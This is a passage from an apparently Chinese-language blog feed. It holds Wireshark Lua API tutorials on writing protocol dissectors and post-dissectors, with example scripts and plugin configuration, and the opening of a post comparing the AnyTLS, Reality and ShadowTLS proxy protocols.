&lt;p&gt;对于解析，wireshark中有3中协议解析，这里来澄清下它们的区别。 - &lt;code&gt;dissector&lt;&#x2F;code&gt;：普通的协议解析器，当命中某个已解析协议的dissector table规则后，可以按照这条规则解析协议。 - &lt;code&gt;post dissector&lt;&#x2F;code&gt;：在完成所有普通的dissector完成后，再次处理报文。在这里可以额外增加一些字段，这些字段放在wireshark解析字段的最后面。 - &lt;code&gt;tap&lt;&#x2F;code&gt;：从多个报文聚合信息分析。比如可以做一些码率统计、个数统计等。tap一般不会聚合单个包的信息，我们通常会用它做一些窗口操作。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tvbhe-tvbrange&quot;&gt;Tvb和TvbRange&lt;&#x2F;h3&gt;
&lt;p&gt;在写脚本的时候，必然会存在内存的读取，以及将内存转换为实际的各种类型的数据，以及将这些数据呈现出来。这些操作就会用到tvb和tvbrange。&lt;&#x2F;p&gt;
&lt;p&gt;Tvb在wireshark lua中，用于表示一个&lt;code&gt;报文的内存数据块&lt;&#x2F;code&gt;。常用的函数有： - &lt;code&gt;tvb:len()&lt;&#x2F;code&gt;获取tvb长度 - &lt;code&gt;tvb:bytes([offset], [length])&lt;&#x2F;code&gt;获取一段ByteArray - &lt;code&gt;tvb:offset()&lt;&#x2F;code&gt;获取相较于初始的tvb偏移 - &lt;code&gt;tvb:range([offset], [length])&lt;&#x2F;code&gt;创建一个TvbRange对象 - &lt;code&gt;tvb:raw([offset], [length])&lt;&#x2F;code&gt;获取lua的报文内存表示&lt;&#x2F;p&gt;
&lt;p&gt;tvb是内存数据库，它没有数据类型，当我们需要读取的时候，会对它做内存切片，这个切片在wireshark lua中就是TvbRange。我们用TvbRange表示一段Tvb内存，类似于C++里面的string_view、或者其他语言里面的切片（slice）。TvbRange可以从tvb创建，可以可以从一个已有的tvbrange创建：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- 见tvb:range([offset], [length])
-- 从tvb这个对象创建TvbRange，偏移为offset，长度为length
-- 如果不指定length，则范围为offset~tvb结束
-- 如果offset和length均不指定，则以整个tvb为TvbRange
tvbrange = tvb(offset, length)
tvbrange = tvbrange:range(offset, length)  -- 支持套娃，tvgrange上创建tvbrange
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;读取一定长度数据，我们就可以很容易将其转化为已知的类型，如下所示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- 基础类型：int&amp;#x2F;uint、int64、uint64（32bit以及以下的整形统一为int&amp;#x2F;uint）、float
-- 不同类型支持自动大端序和小端序读取
tvbrange:uint()  -- 默认大端序
tvbrange:le_uint() -- 小端序
-- 支持ip、时间、string类型
tvbrange:ipv4()
tvbrange:ipv6()
tvbrange:nstime()
tvbrange:string([encoding])
tvbrange:stringz([encoding])  -- \0结束的字符串

-- 支持bitflag
tvbrange:bitfield([position], [length])
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有了上面的信息，我们再来详细解释下下面代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;function foo_protocol.dissector(buffer, pinfo, tree)
    -- FooBar，覆盖整个buffer，切片（tvbrange）长度等于输入的tvb长度
    local foo_tree = tree:add(foo_protocol, buffer(), &amp;quot;FooBar Protocol&amp;quot;)
    -- first byte，覆盖了一个字节，切换长度为1
    local first_byte_tree = foo_tree:add(buffer(0, 1), &amp;quot;first byte&amp;quot;)
    -- 这些报文字段解析，直接输入了1个字节的切片分析
    first_byte_tree:add_le(rtp_ver, buffer(0, 1))
    -- ...
    -- 拿到一个4字节切片，转化为uint数据
    foo_tree:add_le(buffer(4, 4), &amp;quot;seq:&amp;quot;..buffer(4, 4):uint())
    -- ...
end
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;64wei-shu-ju-chu-li&quot;&gt;64位数据处理&lt;&#x2F;h3&gt;
&lt;p&gt;如何处理位运算？用&lt;code&gt;bit&lt;&#x2F;code&gt;，参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.wireshark.org&#x2F;docs&#x2F;wsdg_html_chunked&#x2F;_bitwise_operations.html&quot;&gt;文档&lt;&#x2F;a&gt;。按位与使用bit.band。&lt;&#x2F;p&gt;
&lt;p&gt;lua的int都使用double处理，不能表示到所有64位数据，代码里面不能直接使用64位常量，怎么处理？参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.wireshark.org&#x2F;docs&#x2F;wsdg_html_chunked&#x2F;lua_module_Int64.html&quot;&gt;文档&lt;&#x2F;a&gt;，使用UInt64、Int64：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- (低32为，高32位),0x3f91df0b2b89dd1e
local mynum = UInt64(0x2b89dd1e, 0x3f91df0b)

-- 同样支持64位的位运算
mynum:band(UInt64(0xFFFFFFFF, 0))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xie-yi-ge-post-dissector&quot;&gt;写一个post dissector&lt;&#x2F;h3&gt;
&lt;p&gt;post dissector和dissector比较类似，只是在最后处理的。下面的例子，从已经解析的tree中获取rtp.ssrc，做一些后处理(rtp.ssrc + 1)，并在已有的树添加一个新的字段（这个字段可以被过滤）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- 和普通dissector一样，也是要定义个协议
local wtf_info = Proto(&amp;quot;RtpWtf&amp;quot;, &amp;quot;Rtp Wtf Post dissector&amp;quot;)
-- 和普通协议一样，也是要定义新增字段
local wtf_ssrc_field = ProtoField.uint32(&amp;quot;wtf.ssrc_plus_1&amp;quot;)
wtf_info.fields = {
    wtf_ssrc_field
}

-- Field.new创建字段，是用来从当前的解析树中获取已有数据
local rtp_ssrc_field = Field.new(&amp;quot;rtp.ssrc&amp;quot;)

function wtf_info.dissector(vtb, pinfo, tree)
    -- 如果当前是rtp协议，那么我们就可以获取到非空的rtp.ssrc数据
    -- field:__call()返回FieldInfo
    -- field.range返回一个TvbRange对象
    local rtp_ssrc_ex = rtp_ssrc_field()
    if rtp_ssrc_ex == nil then
        return
    end
    local rtp_ssrc = rtp_ssrc_ex.range()(0, 4):uint()

    -- 向解析树最后增加一个ssrc，set_generated用于标识这个是生成字段
    tree:add(wtf_ssrc_field, rtp_ssrc + 1):set_generated()
end

-- 注册为一个post dissector
register_postdissector(wtf_info)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过上面的方式，我们就可以在原有解析树基础上，增加一个&lt;code&gt;wtf.ssrc_plus_1&lt;&#x2F;code&gt;字段，并且表示为生成的字段（用&lt;code&gt;[xxx]&lt;&#x2F;code&gt;标识）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-lua-api&#x2F;lua-postdissector-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-zong-jie&quot;&gt;4. 总结&lt;&#x2F;h2&gt;
&lt;p&gt;通过上面的介绍，想必大家已经回学会了协议解析了。如果想深入，当然还是要多多阅读官方文档，以及学习下lua语法。遇到不会写的代码，多请教下大模型。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>wireshark插件 解析自定义协议</title>
        <published>2025-07-30T16:34:38+08:00</published>
        <updated>2025-08-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/wireshark插件 解析自定义协议/"/>
        <id>https://vercel.juzhong.asia/2025/07/wireshark插件 解析自定义协议/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/wireshark插件 解析自定义协议/">&lt;p&gt;Wireshark内置了Lua脚本编写插件，无需配置额外的环境，使用起来吧比较便。&lt;&#x2F;p&gt;
&lt;p&gt;使用Lua编写Wireshark协议解析插件，有几个比较重要的概念:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Dissector,解剖器，用来解析包的类，我们要编写的，也是一个Dissector。&lt;&#x2F;li&gt;
&lt;li&gt;DissectorTable,解析器表是Wireshark中解析器的组织形式，是某一种协议的子解析器的一个列表，其作用是把所有的解析器组织成一种树状结构，便于Wireshark在解析包的时候自动选择对应的解析器。例如TCP协议的子解析器 http, smtp, sip等都被加在了&quot;tcp.port&quot;这个解析器表中，可以根据抓到的包的不同的tcp端口号，自动选择对应的解析器。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;ji-chu&quot;&gt;基础&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;wireshark%E6%8F%92%E4%BB%B6%20%E8%A7%A3%E6%9E%90%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8D%8F%E8%AE%AE&#x2F;2025-07-30-17-28-53.png&quot; alt=&quot;主要接口&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- create a new protocol
local proto_name = &amp;quot;PNASKCP&amp;quot;
local proto_desc = &amp;quot;Private NAS Protocol (KCP)&amp;quot;
local proto_obj = Proto(proto_name, proto_desc)
local proto_port = 5067

--register this dissector add Packet Details
DissectorTable.get(&amp;quot;udp.port&amp;quot;):add(proto_port, proto_obj)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;protofield&quot;&gt;ProtoField&lt;&#x2F;h2&gt;
&lt;p&gt;表示协议字段，一般用于解析字段后往解析树上添加节点。根据字段类型不同，其接口可以分为两大类。
这些接口都会返回一个新的字段对象。方括号内是可选字段，花括号内是可替换的类型字段。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;ProtoField.{type}(abbr, [name], [base], [valuestring], [mask], [desc])
·type包括:uint8, uint16, uint24, uint32, uint64, framenum, float, double, string, stringz, bytes, bool, ipv4, ipv6, ether,oid, guid
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参数&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;abbr 字段的缩写名称（过滤器中使用的字符串）。&lt;&#x2F;li&gt;
&lt;li&gt;name (optional) 字段的实际名称（出现在树中的字符串）。&lt;&#x2F;li&gt;
&lt;li&gt;base (optional) base.DEC，base.HEX或base.OCT，base.DEC_HEX，base.HEX_DEC，base.UNIT_STRING或base.RANGE_STRING。&lt;&#x2F;li&gt;
&lt;li&gt;valuestring (optional) 包含与值对应的文本的表，或包含与值 ({min, max, “string”}) 对应的范围字符串值表的表（如果基数为 ）base.RANGE_STRING，或包含单位名称的表如果 base 是base.UNIT_STRING.&lt;&#x2F;li&gt;
&lt;li&gt;mask (optional) 此字段的整数掩码。&lt;&#x2F;li&gt;
&lt;li&gt;desc (optional) 字段说明。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;fields.tlv_value_int16 = ProtoField.uint16(proto_name .. &amp;quot;.tlv_value_int&amp;quot;, &amp;quot;PNAS TLV VALUE&amp;quot;, base.HEX)
fields.uri_ipv4 = ProtoField.ipv4(proto_name .. &amp;quot;.uri_ipv4&amp;quot;, &amp;quot;IP ADDRESS&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tvb&quot;&gt;tvb&lt;&#x2F;h2&gt;
&lt;p&gt;Tvb（Testy Virtual Buffer）表示报文缓存，也就是实际的报文数据，可以通过下面介绍的TvbRange从报文数据中解出信息。主要接口有：
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;wireshark%E6%8F%92%E4%BB%B6%20%E8%A7%A3%E6%9E%90%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8D%8F%E8%AE%AE&#x2F;2025-07-30-17-31-38.png&quot; alt=&quot;tvb 接口&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- tvb(offset, 4)表示从offset开始之后的4个字节
subtree:add_le(fields.peer_ipaddr, tvb(offset, 4))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pinfo&quot;&gt;pinfo&lt;&#x2F;h2&gt;
&lt;p&gt;报文信息(packet information)。主要接口有：
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;wireshark%E6%8F%92%E4%BB%B6%20%E8%A7%A3%E6%9E%90%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8D%8F%E8%AE%AE&#x2F;2025-07-30-17-32-48.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- show protocol name
pinfo.cols.protocol = &amp;quot;PNASKCP&amp;quot;
-- show in info
pinfo.cols.info:set(&amp;quot;Private NAS Protocol (CALL_REQUEST)&amp;quot;) 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;treeitem&quot;&gt;TreeItem&lt;&#x2F;h2&gt;
&lt;p&gt;表示报文解析树中的一个树节点。主要接口有：
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;wireshark%E6%8F%92%E4%BB%B6%20%E8%A7%A3%E6%9E%90%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8D%8F%E8%AE%AE&#x2F;2025-07-30-17-33-31.png&quot; alt=&quot;&quot; &#x2F;&gt;
还有注意一下网络字节序的问题，如果是网络字节序需要用add_le添加节点&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;-- kcp header
local subtree = tree:add(proto_obj, tvb(offset, lmmh_len), &amp;quot;KCP&amp;quot;)	
--conv
subtree:add_le(fields.conv, tvb(offset, 4))
offset = offset + 4
--cmd
subtree:add_le(fields.cmd, tvb(offset, 1))
offset = offset + 1
--frg
subtree:add_le(fields.frg, tvb(offset, 1))
offset = offset + 1
--wnd
subtree:add_le(fields.wnd, tvb(offset, 2))
offset = offset + 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;jiao-ben-mo-ban&quot;&gt;脚本模板&lt;&#x2F;h1&gt;
&lt;p&gt;创建编译 packet-demo.lua 文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;do

-- 创建一个新的协议: 协议名称为 fuzz_proto，在Packet Details窗格显示为 Fuzz Custom Protocol
fuzz_protocol = Proto(&amp;quot;fuzz_proto&amp;quot;, &amp;quot;Fuzz Custom Protocol&amp;quot;)

-- 定义协议字段
--[[ 自定义字段
protocol_type(2) -- 自定义协议编号
base_protocol(1) -- 下层协议
connection_index(1) -- 收发状态
round_index(4) -- 本轮次序号
--]]
local f_protocol_type = ProtoField.uint16(&amp;quot;fuzz_proto.protocol_type&amp;quot;, &amp;quot;Custom Protocol ID&amp;quot;, base.DEC)
local f_base_protocol = ProtoField.uint8(&amp;quot;fuzz_proto.base_protocol&amp;quot;, &amp;quot;Base Protocol&amp;quot;, base.DEC)
local f_connection_index = ProtoField.uint8(&amp;quot;fuzz_proto.connection_index&amp;quot;, &amp;quot;Connection ID&amp;quot;, base.DEC)
local f_round_index = ProtoField.uint32(&amp;quot;fuzz_proto.round_index&amp;quot;, &amp;quot;Round Index&amp;quot;, base.DEC)
-- 将字段添加到协议中
fuzz_protocol.fields = { f_protocol_type, f_base_protocol, f_connection_index, f_round_index } 
local data_dis = Dissector.get(&amp;quot;data&amp;quot;)

-- 定义协议的解析函数
function FUZZ_dissector(buffer, pinfo, tree)
    local length = buffer:len()
    -- 确保报文有足够的长度供解析
    if length &amp;lt; 8 then
        return false
    end
    --验证一下identifier这个字段是不是0x12,如果不是的话，认为不是我要解析的packet
    local v_identifier = buffer(0, 1)
    if (v_identifier:uint() ~= 0x12) then 
        return false 
    end
    --取出其他字段的值
    local v_length = buffer(1, 1)
    v_length = tonumber(tostring(v_length),16)
    local v_data = buffer(2,v_length)

    -- 显示协议名称 --在主窗口的 Protocol 字段显示的名称为 XX_Protobuf
    -- pinfo.cols.protocol:set(&amp;quot;XX_Protobuf&amp;quot;)
    pinfo.cols.protocol = &amp;quot;fuzz_proto&amp;quot;

    --现在知道是我的协议了，放心大胆添加Packet Details
    -- 在树形结构中添加Headers
    local subtree = tree:add(fuzz_protocol, buffer(0, 7), &amp;quot;Fuzz Header&amp;quot;)
    -- 解析协议字段并添加到树中
    subtree:add(f_protocol_type, buffer(0, 2))

    local d_base_protocol = buffer(2, 1):uint()
    local d_base_protocol_map = {
        [0] = &amp;quot;UnSet&amp;quot;,
        [1] = &amp;quot;Ethernet&amp;quot;,
        [2] = &amp;quot;IP&amp;quot;,
        [3] = &amp;quot;TCP&amp;quot;,
        [4] = &amp;quot;UDP&amp;quot;,
        [5] = &amp;quot;TLS&amp;quot;,
        [6] = &amp;quot;HTTP&amp;quot;
    }
    local d_base_protocol = d_base_protocol_map[d_base_protocol] or &amp;quot;Unknown&amp;quot;
    subtree:add(f_base_protocol, buffer(2, 1)):append_text(&amp;quot; (&amp;quot; .. d_base_protocol .. &amp;quot;)&amp;quot;)

    local d_connection_index = (buffer(3, 1):uint() &amp;lt; 127) and &amp;quot;Send&amp;quot; or &amp;quot;Receive&amp;quot;
    subtree:add(f_connection_index, buffer(3, 1)):append_text(&amp;quot; (&amp;quot; .. d_connection_index .. &amp;quot;)&amp;quot;)

    -- 本轮次序号, 取值为十六进制，需要将其转换为十进制 
    local d_round_index = string.format(&amp;quot;%d&amp;quot;, buffer(4, 4):uint()) 
    subtree:add(f_round_index, buffer(4, 4)):append_text(&amp;quot; (&amp;quot; .. d_round_index .. &amp;quot;)&amp;quot;) 

    -- 解析下层协议
    local payload = buffer(8, length - 8)
    local subtree_payload = tree:add(fuzz_protocol, payload, &amp;quot;Current Custom Protocol&amp;quot;)
    subtree_payload:add(&amp;quot;Payload&amp;quot;, payload):append_text(&amp;quot; (&amp;quot; .. payload:len() .. &amp;quot; bytes)&amp;quot;)
end

function fuzz_protocol.dissector(buffer, pinfo, tree)
    if FUZZ_dissector(buffer, pinfo, tree) then
        -- valid Fuzz diagram
    else
        -- data这个dissector几乎是必不可少的；当发现不是我的协议时，就应该调用data
        data_dis.call(buffer, pinfo, tree)
    end
end

-- 注册 dissector 到对应的 DLT_USER3 (150)
-- local wtap_encap_table = DissectorTable.get(&amp;quot;wtap_encap&amp;quot;)
-- wtap_encap_table:add(150, fuzz_protocol)
local tcp_encap_table = DissectorTable.get(&amp;quot;tcp.port&amp;quot;)
--因为我们的自定义协议的接受端口是1080，所以这里只需要添加到&amp;quot;tcp.port&amp;quot;这个DissectorTable里即可。
tcp_encap_table:add(1080, fuzz_protocol)
end

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-luajiao-ben&quot;&gt;配置lua脚本&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;wireshark%E6%8F%92%E4%BB%B6%20%E8%A7%A3%E6%9E%90%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8D%8F%E8%AE%AE&#x2F;2025-07-30-17-11-07.png&quot; alt=&quot;lua脚本位置&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如图， 在&#x2F;usr&#x2F;share&#x2F;wireshark&#x2F;init.lua文件中，添加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;enable_lua = true
dofile(&amp;quot;&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.config&amp;#x2F;wireshark&amp;#x2F;packet-demo.lua&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后重新启动Wireshark或者点击【分析】-【重新载入Lua插件】，就可以启用你自己的lua插件了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xin-ban-ben-wireshark4-2-zhong-de-wei-zhi-you-suo-gai-bian&quot;&gt;新版本wireshark4.2 中的位置有所改变&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;wireshark%E6%8F%92%E4%BB%B6%20%E8%A7%A3%E6%9E%90%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8D%8F%E8%AE%AE&#x2F;2025-08-13-18-58-36.png&quot; alt=&quot;&quot; &#x2F;&gt;
如图 init.lua需要 放置在 &#x2F;usr&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;wireshark&#x2F;plugins&#x2F;init.lua 位置
并添加&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;dofile(DATA_DIR..&amp;quot;&amp;#x2F;packet-demo.lua&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;gao-ji-yi-dian-de-wan-fa&quot;&gt;高级一点的玩法&lt;&#x2F;h1&gt;
&lt;p&gt;如果我们协议的PayLoad里封装的其实是以太网包，能不能让Wireshark在我们的插件执行完之后，继续按照以太网格式解析其他部分呢？&lt;&#x2F;p&gt;
&lt;p&gt;这里，我们重新构造一下需要继续解析的数据，然后获取出一个以太网解析器就继续做下去&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;local raw_data = buf(8, buf:len() - 8)
Dissector.get(&amp;quot;eth_maybefcs&amp;quot;):call(raw_data:tvb(), pinfo, tree)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;替换上面代码的-- 解析下层协议即可
需要在注意,&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;获取的解析器名称应该是 eth_maybefcs，因为DissectorTable里写的eth，但是提示找不到。 eth_maybefcs，意思是可能带有fcs的eth帧&lt;&#x2F;li&gt;
&lt;li&gt;raw_data需要调用一下tvb()函数，不然会提示你这个是userdata，不能使用。tvb的全称应该是Testy Virtual Buffer，用来存储Packet buffer的，要处理必须先转成这个。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;调用eth_maybefcs解析器的时候，这些解析器会给协议栏赋值，覆盖掉我们之前写的wfuzz protocol。为了区分，我们可以在上面的代码之后加上：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;lua&quot; class=&quot;language-lua &quot;&gt;&lt;code class=&quot;language-lua&quot; data-lang=&quot;lua&quot;&gt;pkt.cols.protocol:append(&amp;quot;-FuzzProtocol&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;就是不管协议栏被改成了什么，都在后面加上-FuzzProtocol，这样ARP、ICMP等就会变成 ARP-Fuzz、ICMP-Fuzz了，一眼就可以跟那些普通的ARP和ICMP区分出来。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;little-kwy&#x2F;p&#x2F;14888454.html&quot;&gt;wireshark插件开发&lt;&#x2F;a&gt;&lt;&#x2F;br&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;568748288&quot;&gt;自定义协议&lt;&#x2F;a&gt;&lt;&#x2F;br&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;5968603110&quot;&gt;wireshark lua api 协议解析&lt;&#x2F;a&gt;&lt;&#x2F;br&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Compare AnyTLS, Reality and ShadowTLS</title>
        <published>2025-07-29T00:00:00+00:00</published>
        <updated>2025-07-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/compare-anytls-reality-and-shadowtls/"/>
        <id>https://vercel.juzhong.asia/obsidian/compare-anytls-reality-and-shadowtls/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/compare-anytls-reality-and-shadowtls/">&lt;h1 id=&quot;compare-anytls-reality-and-shadowtls&quot;&gt;Compare AnyTLS, Reality and ShadowTLS&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;compare-anytls-reality-and-shadowtls-1&quot;&gt;Compare AnyTLS, Reality and ShadowTLS&lt;&#x2F;h2&gt;
&lt;p&gt;July 10, 2025 &#x2F;   12 min read&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;faichou.com&#x2F;tags&#x2F;linux&#x2F;&quot;&gt;linux &lt;&#x2F;a&gt;,    &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;faichou.com&#x2F;tags&#x2F;devops&#x2F;&quot;&gt;devops &lt;&#x2F;a&gt;,    &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;faichou.com&#x2F;tags&#x2F;http&#x2F;&quot;&gt;http &lt;&#x2F;a&gt;,    &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;faichou.com&#x2F;tags&#x2F;tls&#x2F;&quot;&gt;tls &lt;&#x2F;a&gt;,    &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;faichou.com&#x2F;tags&#x2F;https&#x2F;&quot;&gt;https &lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;发现这些协议很有趣，在与 GFW 斗争的时候，把自己的招式都摆出来，毕竟是开源的，GFW 也知道你用什么招式，你在明处，GFW 在暗处，所以就需要详细的了解 tls 的 RFC 以及浏览器等各种实现细节，将代理数据以及验证方式藏匿于数据包中。&lt;&#x2F;p&gt;
&lt;p&gt;下面我探究了四款常用协议，有的是在 tls 握手之后进行通信，靠 tls 的加密进行传输，有的是完全重写了 tls 握手，伪装成 tls。当然也有一些协议比如 mtproto 和 snell，大概都是这样的实现方式，这里我就不做过多对比了。&lt;&#x2F;p&gt;
&lt;p&gt;需要理解这些项目的实现，需要你有以下基础知识：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;tcp&#x2F;ip  的分层结构&lt;&#x2F;li&gt;
&lt;li&gt;tls 的数据结构，握手过程&lt;&#x2F;li&gt;
&lt;li&gt;密钥交换机制（如 DHE 或 ECDHE）&lt;&#x2F;li&gt;
&lt;li&gt;tls1.3 Forward Secrecy 向前保密性，即使服务器私钥泄露也无法解析请求&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这些协议的重点内容是服务器的实现，所以下面是以服务器端视角出发。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;trojan-trojan-killer&quot;&gt;Trojan &amp;amp; Trojan-killer&lt;&#x2F;h2&gt;
&lt;p&gt;Trojan 是典型的用 TLS 加密，请求到达后，客户端先和服务器进行 tls 握手，握手成功后，客户端会发送一个带密码的请求 &lt;code&gt;SHA224(password)+CRLF+Request+CRLF&lt;&#x2F;code&gt;，服务器收到后解析并验证，验证失败则 fallback，验证成功后，那么就解析中间的 Request 进行双向传输。&lt;&#x2F;p&gt;
